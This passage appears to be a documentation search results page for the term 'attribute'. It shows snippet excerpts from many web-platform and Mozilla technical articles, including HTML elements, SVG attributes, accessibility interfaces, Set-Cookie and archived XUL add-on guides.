...estion) and presents this label to the user. therefore, each user certificate must have some label associated with it. the label for a token certificate is presented to the user as follows:token label :certificate label . this implies that eachtoken label should be unique and meaningful to the user, and that eachcertificate label should be unique to the token. nss gets the value of the cka_label
attribute from the token. labels should not have any trailing blank characters. will nss use the random number generation features of pkcs #11? only if you identify your token as the default random number generator. if you do, your token must be able to generate random numbers even when it is not logged in. nss uses installed random number generators if pkcs11_mech_random_flag is set in the installer scr...
...And 5 more matches
Gecko events
us. is supported: yes event_state_change an object's state has changed. is supported: yes states: state_focused, state_busy, xxx: event_location_change an object has changed location, shape, or size. is supported: no event_name_change an object's name property has changed. is supported: yes targets: table_cell - the cell of <xul:tree/>, any accessible for html element when @title or @alt
attribute is changed. event_description_change an object's description property has changed. is supported: no event_value_change an object's value property has changed. is supported: yes event_help_change an object's help has changed. is supported: no event_defaction_change an object's default action has changed. is supported: no event_action_change an object's action has changed. is supported: n...
... a window object has been minimized or maximized is supported: no event_document_load_start is supported: yes event_document_load_complete the loading of the document has completed. is supported: yes event_document_reload the document contents are being reloaded. is supported: yes event_document_load_stopped the loading of the document was interrupted. ...
...r maximized is supported: no event_document_load_start is supported: yes event_document_load_complete the loading of the document has completed. is supported: yes event_document_reload the document contents are being reloaded. is supported: yes event_document_load_stopped the loading of the document was interrupted. is supported: yes event_document_
attributes_changed the document wide
attributes of the document object have changed. ...
...And 5 more matches
IAccessibleText
reading of sentences this boundary type could be implemented and screen readers could use the application's version of a sentence rather than the screen reader's. the rest of the boundary types must be supported. this enum is used in textbeforeoffset(), textatoffset(), and textafteroffset(). ...
... the application's version of a sentence rather than the screen reader's. the rest of the boundary types must be supported. this enum is used in textbeforeoffset(), textatoffset(), and textafteroffset(). ...
... ia2textboundarytype boundarytype, [out] long startoffset, [out] long endoffset, [out] bstr text ); methods addselection() adds a text() selection(). hresult addselection( [in] long startoffset, [in] long endoffset ); parameters startoffset starting offset ( 0 based). endoffset offset of first character after new selection() (0 based). return value e_invalidarg if bad [in] passed. s_ok.
attributes() returns text()
attributes. [propget] hresult
attributes( [in] long offset, [out] long startoffset, [out] long endoffset, [out] bstr text
attributes ); parameters offset text() offset (0 based) startoffset the starting offset of the character range over which all text()
attributes match those of offset. (0 based) endoffset the offset of the first character past the character range over...
...And 5 more matches
nsIDOMWindow
document nsidomdocument the document contained in the window. read only. frames nsidomwindowcollection the child windows for this window. r...
... document nsidomdocument the document contained in the window. read only. frames nsidomwindowcollection the child windows for this window. read only. native code...
...ldif); void scrollbylines(in long numlines); void scrollbypages(in long numpages); void scrollto(in long xscroll, in long yscroll); void sizetocontent();
attributes
attribute type description applicationcache nsidomofflineresourcelist get the application cache object for this window. read only. note: prior to gecko 7.0 this
attribute was part of nsidomwindow2. document nsidomdocument the document contained in the window. read only. frames nsidomwindowcollection the child windows for this window. read only. native code only! globalstorage nsidomstoragelist global storage, accessible by domain. read only. note: prior to gecko 8.0 this
attribute was part of nsidomstoragewindow. ...
...And 5 more matches
XUL Overlays
thus, given the following base: ... <menu id="file-menu"> <menupopup id="menu_filepopup"> <menuitem name="new"/> <menuitem name="open"/> <menuitem name="save"/> <menuitem name="close"/> </menupopup> </menu> ... and given the following overlay: <?xml version="1.0"?> <overlay id="singleitemex" xmlns:html="http:...
...thus, given the following base: ... ...
...ter skin for the base file, and can change the basic appearance of the package's skin in unfortunate ways. note: the master skin is not the same as the global skin. for any package, the master skin file is that css file named after the package itself. the master skin file for the bookmarks package, for example, is called bookmarks.css, and is located in the skin/default subdirectory. overlaying
attributes in addition to new elements and subtrees, you can also overlay
attributes into existing elements. in xul,
attributes control important features of the skin like image sources, as in the following example, where an overlay destructively overwrites the image source in the base file with a replacement. in the base file, the html image element points to a netscape gif icon: <html:img id="foo" src="n...
...And 5 more matches
LDAP Support
e.commentcolumn", 2); user_pref("ldap_2.servers.directoryname.autocomplete.commentformat", "[ou]"); the first preference tells us to use a comment column in the type down (the default value is 0 for no comment), and that the value for the comment is a custom string unique to each directory. the commentformat preference is set on each directory. it acts as a template, specifying the extra ldap
attribute which should be used in the comment field along with how the
attribute should be formatted. it expects the following format: the desired ldap
attribute should be wrapped in square brackets. in this example, we are setting the organization unit as the ldap
attribute. you can also insert arbitrary text to clarify the ldap
attribute. i.e. "department: [ou]" would yield a type down entry that loo...
... should be wrapped in square brackets. in this example, we are setting the organization unit as the ldap
attribute. you can also insert arbitrary text to clarify the ldap
attribute. i.e. "department: [ou]" would yield a type down entry that looks like "john smit department: client engineering". ldap schema the following table summarizes the schema used by thunderbird to map between ldap
attributes and
attributes within the the address book. some notes about the relationship: there is a many to one relationship between ldap
attributes and its address book counterpart. there is a one to one relationship between a address book
attribute and its ldap counterpart. if there are multiple entries for a address book
attribute, the first takes precedence. these relationships ensure: generalit...
... book. some notes about the relationship: there is a many to one relationship between ldap
attributes and its address book counterpart. there is a one to one relationship between a address book
attribute and its ldap counterpart. if there are multiple entries for a address book
attribute, the first takes precedence. these relationships ensure: generality is maintained when mapping from ldap
attributes to address book. consistent round tripping when editing address book
attributes which are stored on an ldap server. ...
...And 5 more matches
HTMLOrForeignElement.dataset - Web APIs
the dataset read-only property of the htmlorforeignelement interface provides read/write access to all the custom data
attributes (data-*) set on the element. this access is available both in html and within the dom. it is a map of domstrings (domstringmap) with one entry for each custom data
attribute. note that the dataset property itself can be read, but not directly written. instead, all writes must be to the individual properties within the dataset, which in turn represent the data
attributes. note also that an html data-
attribute and its corresponding dom dataset.property do not share the same name, but they are always similar: in html, the name of a custom data
attribute begins with data-. it must contain only letters, numbers, and the following characters: dash (-), dot (.), colon (:), ...
...so that an html data-
attribute and its corresponding dom dataset.property do not share the same name, but they are always similar: in html, the name of a custom data
attribute begins with data-. it must contain only letters, numbers, and the following characters: dash (-), dot (.), colon (:), underscore (_)—but not any ascii capital letters (a to z). in javascript, the name of a custom data
attribute is the name of the same html
attribute, but in camelcase and with no dashes, dots, etc. in addition to the information below, you'll find a how-to guide for using html data
attributes in our article using data
attributes. ...
...e (_)—but not any ascii capital letters (a to z). in javascript, the name of a custom data
attribute is the name of the same html
attribute, but in camelcase and with no dashes, dots, etc. in addition to the information below, you'll find a how-to guide for using html data
attributes in our article using data
attributes. name conversion dash-style to camelcase conversion a custom data
attribute name is transformed to a key for the domstringmap entry with the following rules the prefix data- is removed (including the dash); for any dash (u+002d) followed by an ascii lowercase letter a to z, the dash is removed, and the letter is transformed into its uppercase counterpart; other characters (including other dashes) are left unchanged. camelcase to dash-style conversion the...
...And 5 more matches
SVGAngle - Web APIs
the svgangle interface is used to represent a value that can be an <angle> or <number> value. an svgangle reflected through the animval
attribute is always read only. an svgangle object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown. an svgangle object can be associated with a particular element. the associated element is used to determine which element's content
attribute to update if the object reflects an
attribute. unless otherwise described, an svgangle object is not associated with any element. ...
... constants svg_angletype_unknown some unknown type of value. ...
...itless <number> interpreted as a value in degrees. svg_angletype_deg an <angle> with a deg unit. svg_angletype_rad an <angle> with a rad unit. svg_angletype_grad an <angle> with a grad unit. properties unittype the type of the value as specified by one of the svg_angletype_* constants defined on this interface. value the value as a floating point value, in user units. setting this
attribute will cause valueinspecifiedunits and valueasstring to be updated automatically to reflect this setting. exceptions on setting: a domexception with code no_modification_allowed_err is raised when the length corresponds to a read-only
attribute, or when the object itself is read-only. valueinspecifiedunits the value as a floating point value, in the units expressed by unittype. setting this...
...And 5 more matches
SVGTransformList - Web APIs
list. length unsigned long the number of items in the list. methods name & arguments return description clear() void clears all existing current items from the list, with the result being an empty list. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only
attribute or when the object itself is read only. initialize(in svgtransform newitem) svgtransform clears all existing current items from the list and re-initializes the list to hold the single item specified by the parameter. if the inserted item is already in a list, it is removed from its previous list before it is inserted into this list. the inserted item is the item itsel...
...the single item specified by the parameter. if the inserted item is already in a list, it is removed from its previous list before it is inserted into this list. the inserted item is the item itself and not a copy. the return value is the item inserted into the list. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only
attribute or when the object itself is read only. getitem(in unsigned long index) svgtransform returns the specified item from the list. the returned item is the item itself and not a copy. any changes made to the item are immediately reflected in the list. the first item is number 0. exceptions: a domexception with code no_modification_allowed_err is raised whe...
...y. getitem(in unsigned long index) svgtransform returns the specified item from the list. the returned item is the item itself and not a copy. any changes made to the item are immediately reflected in the list. the first item is number 0. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only
attribute or when the object itself is read only. insertitembefore(in svgtransform newitem, in unsigned long index) svgtransform inserts a new item into the list at the specified position. the first item is number 0. if newitem is already in a list, it is removed from its previous list before it is inserted into this list. the inserted item is the item itself and not a copy. if...
...And 5 more matches
WebGLRenderingContext.enableVertexAttribArray() - Web APIs
the webglrenderingcontext method enablevertexattribarray(), part of the webgl api, turns on the generic vertex
attribute array at the specified index into the list of
attribute arrays. you can disable the
attribute array by calling disablevertexattribarray(). in webgl, values that apply to a specific vertex are stored in
attributes. these are only available to the javascript code and the vertex shader.
attributes are referenced by an index number into the list of
attributes maintained by the gpu. some vertex
attribute indices may have predefined purposes, depending on the platform and/or the gpu. others are assigned by the webgl layer when you create the
attributes. ...
...pecific vertex are stored in
attributes. these are only available to the javascript code and the vertex shader.
attributes are referenced by an index number into the list of
attributes maintained by the gpu. some vertex
attribute indices may have predefined purposes, depending on the platform and/or the gpu. others are assigned by the webgl layer when you create the
attributes. either way, since
attributes cannot be used unless enabled, and are disabled by default, you need to call enablevertexattribarray() to enable individual
attributes so that they can be used. once that's been done, other methods can be used to access the
attribute, including vertexattribpointer(), vertexattrib*(), and getvertexattrib(). syntax void gl.enablevertexattribarray(index); parameters index a gluint specifyin...
... return value undefined. errors to check for errors after calling enablevertexattribarray(), call geterror(). ...
...And 5 more matches
HTML5 Parser - Developer guides
s the content was inserted into a timing-dependent point in the source stream. if the call happened after the parser was done, the inserted content replaced the document. in ie, such calls are either ignored or imply a call to document.open(), replacing the document. in html5, document.write() can only be called from a script that is created by a <script> tag that does not have the async or defer
attributes set. with the html5 parser, calls to document.write() in any other context either are ignored or replace the document. some contexts from which you should not call document.write() include: scripts created using document.createelement() event handlers settimeout() setinterval() <script async src="..."> <script defer src="..."> if you use the same mechanism for loading script libraries...
... case-corrects markup so <svg viewbox='0 0 10 10'> works in html source. the dom methods and css selectors behave case-sensitively, so you need to write your dom calls and css selectors using the canonical case, which is camelcase for various parts of svg such as viewbox. the syntax <foo/> opens and immediately closes the foo element if it is a mathml or svg element (i.e. not an html element). ...
...m calls and css selectors using the canonical case, which is camelcase for various parts of svg such as viewbox. the syntax <foo/> opens and immediately closes the foo element if it is a mathml or svg element (i.e. not an html element).
attributes are tokenized the same way they are tokenized in html, so you can omit quotes in the same situations where you can omit quotes in html (i.e. when the
attribute value is not the empty string and does not contain whitespace, ", ', `, <, =, or >). ...
...And 5 more matches
<applet>: The Embed Java Applet element - HTML: Hypertext Markup Language
content categories flow content, phrasing content, embedded content, interactive content, palpable content. permitted content zero or more <param> elements, then transparent. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts embedded content. ...
... flow content, phrasing content, embedded content, interactive content, palpable content. permitted content zero or more <param> elements, then transparent. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts embedded content. dom interface htmlappletelement
attributes align this
attribute is used to position the applet on the page relative to content that might flow around it. the html 4.01 specification defines values of bottom, left, middle, right, and top, whereas microsoft and netscape also might support absbottom, absmiddle, baseline, center, and texttop. alt this
attribute causes a descriptive text alternate to be displayed on browsers that do not support java. page design...
...s of bottom, left, middle, right, and top, whereas microsoft and netscape also might support absbottom, absmiddle, baseline, center, and texttop. alt this
attribute causes a descriptive text alternate to be displayed on browsers that do not support java. page designers should also remember that content enclosed within the <applet> element may also be rendered as alternative text. archive this
attribute refers to an archived or compressed version of the applet and its associated class files, which might help reduce download time. code this
attribute specifies the url of the applet's class file to be loaded and executed. ...
...And 5 more matches
<form> - HTML: Hypertext Markup Language
t, but not containing <form> elements tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts flow content implicit aria role form if the form has an accessible name, otherwise no corresponding role permitted aria roles search, none or presentation dom interface htmlformelement
attributes this element includes the global
attributes. accept comma-separated content types the server accepts. this
attribute was removed in html5 and should not be used. instead, use the accept
attribute on <input type=file> elements. accept-charset space-separated character encodings the server accepts. the browser uses them in the order in which they are listed. the default value means the...
...possible values: none: no automatic capitalization. sentences (default): capitalize the first letter of each sentence. words: capitalize the first letter of each word. ...
...possible values: none: no automatic capitalization. ...
...And 5 more matches
<style>: The Style Information element - HTML: Hypertext Markup Language
tter to put your styles in external stylesheets and apply them using <link> elements. if you include multiple <style> and <link> elements in your document, they will be applied to the dom in the order they are included in the document — make sure you include them in the correct order, to avoid unexpected cascade issues. ...
...ll be applied to the dom in the order they are included in the document — make sure you include them in the correct order, to avoid unexpected cascade issues. in the same manner as <link> elements, <style> elements can include media
attributes that contain media queries, allowing you to selectively apply internal stylesheets to your document depending on media features such as viewport width.
attributes this element includes the global
attributes. type this
attribute defines the styling language as a mime type (charset should not be specified). ...
...the same manner as <link> elements, <style> elements can include media
attributes that contain media queries, allowing you to selectively apply internal stylesheets to your document depending on media features such as viewport width.
attributes this element includes the global
attributes. type this
attribute defines the styling language as a mime type (charset should not be specified). this
attribute is optional and defaults to text/css if it is not specified; values other than the empty string or text/css are not used. note: there is very little reason to include this
attribute in modern web documents. media this
attribute defines which media the style should be applied to. its value is a media query, which defaults to all if the
attribute is missing. nonce a cryptographic nonce (number ...
...And 5 more matches
<tbody>: The Table Body element - HTML: Hypertext Markup Language
ly render. however, it must not be present, if its parent <table> element has a <tr> element as a child. permitted parents within the required parent <table> element, the <tbody> element can be added after a <caption>, <colgroup>, and a <thead> element. implicit aria role rowgroup permitted aria roles any dom interface htmltablesectionelement
attributes this element includes the global
attributes. deprecated
attributes align this enumerated
attribute specifies how horizontal alignment of each cell content will be handled. possible values are: left, aligning the content to the left of the cell center, centering the content in the cell right, aligning the content to the right of the cell justify, inserting spaces into the textua...
...be handled. possible values are: left, aligning the content to the left of the cell center, centering the content in the cell right, aligning the content to the right of the cell justify, inserting spaces into the textual content so that the content is justified in the cell char, aligning the textual content on a special character with a minimal offset, defined by the char and charoff
attributes. if this
attribute is not set, the left value is assumed. as this
attribute is deprecated, use the css text-align property instead. note: the equivalent text-align property for the align="char" is not implemented in any browsers yet. see the text-align's browser compatibility section for the <string> value. bgcolor the background color of the table. it is a 6-digit hexadecimal rg...
...ecated, use the css text-align property instead. note: the equivalent text-align property for the align="char" is not implemented in any browsers yet. see the text-align's browser compatibility section for the <string> value. bgcolor the background color of the table. it is a 6-digit hexadecimal rgb code, prefixed by a '#'. one of the predefined color kewords can also be used. ...
...And 5 more matches
<tfoot>: The Table Foot element - HTML: Hypertext Markup Language
ption>, <colgroup>, <thead>, <tbody>, or <tr> element. note that this is the requirement as of html5. html 4 the <tfoot> element cannot be placed after any <tbody> and <tr> element. note that this directly contradicts the above normative requirement from html5. implicit aria role rowgroup permitted aria roles any dom interface htmltablesectionelement
attributes this element includes the global
attributes. deprecated
attributes align deprecated since html4obsolete since html5 this enumerated
attribute specifies how horizontal alignment of each cell content will be handled. possible values are: left, aligning the content to the left of the cell center, centering the content in the cell right, aligning the content to the right of the cell ...
...be handled. possible values are: left, aligning the content to the left of the cell center, centering the content in the cell right, aligning the content to the right of the cell justify, inserting spaces into the textual content so that the content is justified in the cell char, aligning the textual content on a special character with a minimal offset, defined by the char and charoff
attributes unimplemented (see bug 2212). if this
attribute is not set, the left value is assumed. note: do not use this
attribute as it is obsolete (not supported) in the latest standard. to achieve the same effect as the left, center, right or justify values, use the css text-align property on it. to achieve the same effect as the char value, in css3, you can use the value of the char as the ...
...it is one of the 6-digit hexadecimal code as defined in srgb, prefixed by a '#'. ...
...And 5 more matches
Link types - HTML: Hypertext Markup Language
in html, link types indicate the relationship between two documents, in which one links to the other using an <a>, <area>, <form>, or <link> element. list of the defined link types and their significance in html link type description allowed in these elements not allowed in these elements alternate if the element is <link> and the rel
attribute also contains the stylesheet type, the link defines an alternative style sheet; in that case the title
attribute must be present and not be the empty string. if the type is set to application/rss+xml or application/atom+xml, the link defines a syndication feed. the first one defined on the page is the default. otherwise, the link defines an alternative page, of one of these types: for an...
...e style sheet; in that case the title
attribute must be present and not be the empty string. if the type is set to application/rss+xml or application/atom+xml, the link defines a syndication feed. the first one defined on the page is the default. otherwise, the link defines an alternative page, of one of these types: for another medium, like a handheld device (if the media
attribute is set) in another language (if the hreflang
attribute is set), in another format, such as a pdf (if the type
attribute is set) a combination of these <a>, <area>, <link> <form> archives defines a hyperlink to a document that contains an archive link to this one. for example, a blog entry could link to a monthly index page this way. ...
... <form> author defines a hyperlink to a page describing the author or providing a way to contact the author. note: this may be a mailto: hyperlink, but this is not recommended on public pages as robot harvesters will quickly lead to a lot of spam sent to the address. in that case, it is better to lead to a page containing a contact form. although recognized, the rev
attribute on <a>, <area> or<link> elements with a link type of made is incorrect and should be replaced by the rel
attribute with this link type. <a>, <area>, <link> <form> bookmark indicates that the hyperlink is a permalink for the nearest ancestor <article> element. if none, it is a permalink for the section that the element is most closely associated to. this allows for bookm...
...And 5 more matches
Using the application cache - HTML: Hypertext Markup Language
ves the following benefits: offline browsing users can navigate a site even when they are offline. speed cached resources are local, and therefore load faster. reduced server load the browser only downloads resources that have changed from the server. ...
...ne. speed cached resources are local, and therefore load faster. reduced server load the browser only downloads resources that have changed from the server. how the application cache works enabling the application cache to enable the application cache for an application, include the manifest
attribute in the <html> element: <html manifest="/example.appcache"> … </html> the manifest
attribute references a url for a cache manifest file: a text file that lists urls that browsers should cache for your application. you should include the manifest
attribute on each page of your site that you want cached. the browser does not cache pages without the manifest
attribute, unless such pages are listed in the manifest file. you do not need to list all pages you want cached in the manifest file,...
... some browsers (e.g., firefox) display a notification bar the first time a user loads an application that uses the application cache. the notification bar displays a message such as: this website (example.com) is asking to store data on your computer for offline use. ...
...And 5 more matches
Set-Cookie - HTTP
it also must not contain a separator character like the following: ( ) < > @ , ; : \ " / [ ] ? = { }. ...
...it also must not contain a separator character like the following: ( ) < > @ , ; : \ " / [ ] ? = { }. a <cookie-value> can optionally be wrapped in double quotes and include any us-ascii characters excluding control characters,...
...r path=/docs, /docs, /docs/web/, and /docs/web/http will all match. secure optional a secure cookie is only sent to the server when a request is made with the https: scheme. (however, confidential information should never be stored in http cookies, as the entire mechanism is inherently insecure and doesn't encrypt any information.) note: insecure sites (http:) can't set cookies with the secure
attribute (since chrome 52 and firefox 52). httponly optional forbids javascript from accessing the cookie, for example, through the document.cookie property. note that a cookie that has been created with httponly will still be sent with javascript-initiated requests, e.g. when calling xmlhttprequest.send() or fetch(). this mitigates attacks against cross-site scripting (xss). samesite=<samesite-value...
...And 5 more matches
href - SVG: Scalable Vector Graphics
the href
attribute defines a link to a resource as a reference url. the exact meaning of that link depends on the context of each element using it. note: specifications before svg 2 defined an xlink:href
attribute, which is now rendered obsolete by the href
attribute. fifteen elements are using this
attribute: <a>, <animate>, <animatemotion>, <animatetransform>, <discard>, <feimage>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <set>, <textpath>, and <use> html, body, svg { height: 100%; } <svg viewbox="0 0 160 40" xmlns="http://www.w3.org/2000/svg"> <a href="https://developer.mozilla.org/"><text x="10" y="25">mdn web docs</text></a> </svg> in svg a for <a>, href defines the location of the referenced object, expressed as a url reference. ...
... the given target element is not part of the current document, then the animation element will not affect any target element. however, the animation element will still operate normally with regard to its timing properties. specifically, timeevents are dispatched and the animation element can be used as syncbase in an identical fashion to when the url refers to a valid target element. if the href
attribute or the deprecated xlink:href
attribute is not provided, then the target element will be the immediate parent element of the current animation element. if both xlink:href and href are specified, the value of the latter
attribute is used. refer to the descriptions of the individual animation elements for any restrictions on what types of elements can be targets of particular types of animations. ...
...in particular, see smil animation: specifying the animation target. value <url> default value none animatable no discard for <discard>, href defines a url referring the target element to discard. ...
...And 5 more matches
operator - SVG: Scalable Vector Graphics
the operator
attribute as two meanings based on the context itʼs used in. either it defines the compositing or morphing operation to be performed. two elements are using this
attribute: <fecomposite> and <femorphology> html, body, svg { height: 100%; font: 20px arial, helvetica, sans-serif; } <svg viewbox="0 0 120 70" xmlns="http://www.w3.org/2000/svg"> <filter id="erode"> <femorphology operator="erode" radius="0.4"/> </filter> <filter id="dilate"> <femorphology operator="dilate" radius="0.8"/> </filter> <text x="0" y="15">normal text</text> <text x="0" y="40" filter="url(#erode)">thin text</text> <text x="0" y="65" filter="url(#dilate)">fat text</text> </svg> fecomposite for <fecomposite>, operator defines the compositing operation that is to be performed. ...
...de)">thin text</text> <text x="0" y="65" filter="url(#dilate)">fat text</text> </svg> fecomposite for <fecomposite>, operator defines the compositing operation that is to be performed. ...
... text</text> </svg> fecomposite for <fecomposite>, operator defines the compositing operation that is to be performed. value over | in | out | atop | xor | lighter | arithmetic default value over animatable yes over this value indicates that the source graphic defined in the in
attribute is placed over the destination graphic defined in the in2
attribute. in this value indicates that the parts of the source graphic defined in the in
attribute that overlap the destination graphic defined in the in2
attribute, replace the destination graphic. out this value indicates that the parts of the source graphic defined in the in
attribute that fall outside the destination graphic defined in the in2
attribute, are displayed. atop this value indicate...
...And 5 more matches
<g> - SVG: Scalable Vector Graphics
the <g> svg element is a container used to group other svg elements. transformations applied to the <g> element are performed on its child elements, and its
attributes are inherited by its children. it can also group multiple elements to be referenced later with the <use> element. ...
...is a container used to group other svg elements. transformations applied to the <g> element are performed on its child elements, and its
attributes are inherited by its children. it can also group multiple elements to be referenced later with the <use> element. ...
...ed by its children. it can also group multiple elements to be referenced later with the <use> element. ...
...And 5 more matches
<polyline> - SVG: Scalable Vector Graphics
ee the <polygon> element. ...
... html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!-- example of a polyline with the default fill --> <polyline points="0,100 50,25 50,75 100,0" /> <!-- example of the same polyline shape with stroke and no fill --> <polyline points="100,100 150,25 150,75 200,0" fill="none" stroke="black" /> </svg>
attributes points this
attribute defines the list of points (pairs of x,y absolute coordinates) required to draw the polyline value type: <number>+ ; default value: ""; animatable: yes pathlength this
attribute lets specify the total length for the path, in user units. value type: <number> ; default value: none; animatable: yes global
attributes core
attributes most notably: id, tabindex styling
attributes class, sty...
... (pairs of x,y absolute coordinates) required to draw the polyline value type: <number>+ ; default value: ""; animatable: yes pathlength this
attribute lets specify the total length for the path, in user units. ...
...And 5 more matches
SVG 1.1 Support in Firefox - SVG: Scalable Vector Graphics
rief overview. full documentation for svg is forthcoming. someday. there is also a description of the mozilla support of the changes in svg 2. element implementation status a quick overview of the svg 1.1 elements and the current status of the native support. element notes structure module svg implemented. currentscale and currenttranslate dom
attributes are implemented, but there is no pan and zoom user interface. svgsvgelement unimplemented
attributes: contentscripttype, contentstyletype, viewport, currentview unimplemented bindings: getintersectionlist, getenclosurelist, checkintersection, checkenclosure g implemented. defs implemented. ...
...ementinstance tree (bug 265895). conditional processing module switch implemented. image module image implemented. style module style implemented. shape module path implemented. svgpathelement interface unimplemented
attributes: normalizedpathseglist, animatednormalizedpathseglist rect implemented. circle implemented. line implemented. ellipse implemented. polyline implemented. polygon implemented. t...
... rect implemented. circle implemented. line implemented. ellipse implemented. polyline implemented. polygon implemented. text module text implemented. ...
...And 5 more matches
HTML in XUL for rich tooltips - Archive of obsolete content
uitem id="htmltip2" label="foo2" onmouseover="htmltip.onmousetooltip(event)" tooltip="myhtmltip" /> </popup> <popupset id="mainpopupset"> <tooltip id="myhtmltip"> <html:div id="myhtmltipdiv" type="content"/> </tooltip> </popupset> </overlay> insert your version of the following into the javascript overlay. ...
...pset id="mainpopupset"> <tooltip id="myhtmltip"> <html:div id="myhtmltipdiv" type="content"/> </tooltip> </popupset> </overlay> insert your version of the following into the javascript overlay. our customized tooltiphtml
attribute for each element can be set at any time. ...
...mltipdiv" type="content"/> </tooltip> </popupset> </overlay> insert your version of the following into the javascript overlay. our customized tooltiphtml
attribute for each element can be set at any time. ...
...And 4 more matches
Rosetta - Archive of obsolete content
tps://developer.mozilla.org/user:fusionchess |*| |*| this framework is released under the gnu public license, version 3 or later. |*| http://www.gnu.org/licenses/gpl-3.0.html |*| |*| syntax: |*| |*| rosetta.appendcompiler([ "text/x-csrc", "text/x-c" ], yourcompiler); |*| \*/ var rosetta = new (function () { function createscript (oscript, oxhr200) { var smimetype = oscript.get
attribute("type").tolowercase(), obaton = document.createcomment(" the previous code has been automatically translated from \"" + smimetype + "\" to \"text/ecmascript\". "); if (!odicts.hasownproperty(smimetype)) { alert("rosetta.translatescript() \u2013 unknown mime-type \"" + smimetype + "\": script ignored."); return; } var ocompiled = document.createelement("script"); ...
...mimetype + "\" to \"text/ecmascript\". ...
..."" : odicts[smimetype](oscript.text); obaton.parentnode.insertbefore(ocompiled, obaton); } function reqerror (oerror) { throw new urierror(...
...And 4 more matches
Inline options - Archive of obsolete content
y.xul"> <setting type="bool" pref="extensions.myaddon.bool" title="boolean" desc="stored as a boolean preference" /> </vbox> note that it's limited to <setting> tags. the root <vbox> just acts as a container, it isn't merged into the main window. if you need script support, see the display notifications section. ...
...ool" pref="extensions.myaddon.bool" title="boolean" desc="stored as a boolean preference" /> </vbox> note that it's limited to <setting> tags. the root <vbox> just acts as a container, it isn't merged into the main window. if you need script support, see the display notifications section. ...
...g> tags. the root <vbox> just acts as a container, it isn't merged into the main window. if you need script support, see the display notifications section. ...
...And 4 more matches
Adding Toolbars and Toolbar Buttons - Archive of obsolete content
erlay.dosomething(event);" /> <!-- more buttons here. --> </toolbarpalette> <!-- more overlay stuff. --> </overlay> one detail that is easy to overlook is the fact that the toolbarpalette element is outside of the window element. if you put the toolbarpalette element inside the window element in your overlay, some weird errors will begin to happen. always set the label and tooltiptext
attributes of a toolbarbutton. in the case of a toolbaritem element (discussed later), use the title
attribute instead of label. tooltips are very important for users that want to know what a button does before clicking it. setting the image for a toolbar button is done with css: #xulschoolhello-hello-world-button { list-style-image: url("chrome://xulschoolhello/skin/hello-world.png"); } it's not re...
...bar-context-menu" defaultset="xulschoolhello-hello-world-button" insertbefore="personaltoolbar" /> </toolbox> </window> (note for mac os x: <window id="main-window"> and </window> are not required) our toolbar is added as a child of the toolbox element in the main browser window. the toolbox is the collection of toolbars in firefox, including the main menu bar. let's look at the
attributes we used: the toolbarname is the name that will appear on the view > toolbars menulist. this menu allows hiding and showing any toolbar. the customizable
attribute determines if the user can customize the toolbar. you should normally set this to true, unless you have strong reasons not to want users changing your toolbar. the mode
attribute is set to icons, which is the usual value. this can...
...the view > toolbars menulist. this menu allows hiding and showing any toolbar. the customizable
attribute determines if the user can customize the toolbar. you should normally set this to true, unless you have strong reasons not to want users changing your toolbar. the mode
attribute is set to icons, which is the usual value. this can be changed in the customize dialog by the user. the context
attribute should also be set if you want a customizable toolbar. it points to the id of a popup element that holds the customization options that are displayed when the user right-clicks on the toolbar. this popup is already part of the main window, so it doesn't need to be implemented again. the defaultset
attribute lists the ids of the icons you want to include on your toolbar by default. it's a comma-s...
...And 4 more matches
XPCOM Objects - Archive of obsolete content
available interfaces. a modified version of the last code snippet produces an even longer list of available interfaces. just like in component identifiers, the nsi prefix is just a way of keeping things in order. the ns stands for netscape, mozilla's predecessor. the "i" stands for interface. our interfaces should begin with something like xsihello. an interface is just a definition of a set of
attributes and methods that an object implementing it should have. xpcom components can implement multiple interfaces, and they often do. let's look at the preference service as an example of this. we'll look at its documentation in a very old xul site called xul planet. all of its documentation was planned to be migrated to mdc, but it looks like it was never finished and xul planet was discontinued. thei...
...ge, where you can see more details on the interface and the method. you can also see a list of what components implement this interface. all of this documentation is generated from the one present in the firefox source files, so it's in general very complete and well written. it's a shame xul planet is no longer with us. interfaces can be awkward to handle. if you want to call a method or use an
attribute of interface x in a component, you first need to "cast" the component to interface x. this is done via the queryinterface method that is included in all xpcom components. this._prefservice = cc["@mozilla.org/preferences-service;1"].getservice(ci.nsiprefbranch); this._prefvalue = this._prefservice.getboolpref("somepreferencename"); this._prefservice.queryinterface(ci.nsiprefbranch2); this._...
...ce. in many cases you only need to use one interface, and you won't have to worry about queryinterface. but in this case we need to change the interface to nsiprefbranch2, which is the one that includes the method that adds a preference observer. then we change it back, because after that we only need to get and set preferences, and those methods are in nsiprefbranch. trying to access methods or
attributes without having the right interface set will result in an exception being thrown. passing parameters passing parameters to xpcom methods is no different from other js objects, with some exceptions. in general, you can rely on javascript's ability to transform values to the correct type, but it's usually best to pass the right type in the first place. this section is a quick guide on how to read...
...And 4 more matches
Style System Overview - Archive of obsolete content
text-indent: 0 css style rule representation problem: the rule structures use too much memory (a few hundred kilobytes for all our chrome), and require large numbers of allocations to construct. detail: !important declarations cause an extra rule object cssimportantrule to be created since they are in a separate part of the cascade other nsistylerule implementations nshtmlmapped
attributes represents stylistic html
attributes turned into a style rule (one instance per unique set of
attributes) bodyrule handles marginwidth/marginheight mixes on body and on frame. various rules in nshtmlstylesheet.cpp do other things with presentational color-related
attributes and with tables. content nodes (instead of stylesheets) also hold onto cssstyleruleimpl objects that represent their sty...
...epresents stylistic html
attributes turned into a style rule (one instance per unique set of
attributes) bodyrule handles marginwidth/marginheight mixes on body and on frame. various rules in nshtmlstylesheet.cpp do other things with presentational color-related
attributes and with tables. content nodes (instead of stylesheets) also hold onto cssstyleruleimpl objects that represent their style
attributes. the cascade stylesetimpl manages the different origins of rules in the cascade (ua, user, author) style set gets the nsistyleruleprocessor implementations from the style sheets, and the css stylesheets force one cssruleprocessor per origin (rather than one per stylesheet). htmlstylesheetimpl (html
attributes) and htmlcssstylesheet (style
attributes) also implement nsistyleruleprocessor. ...
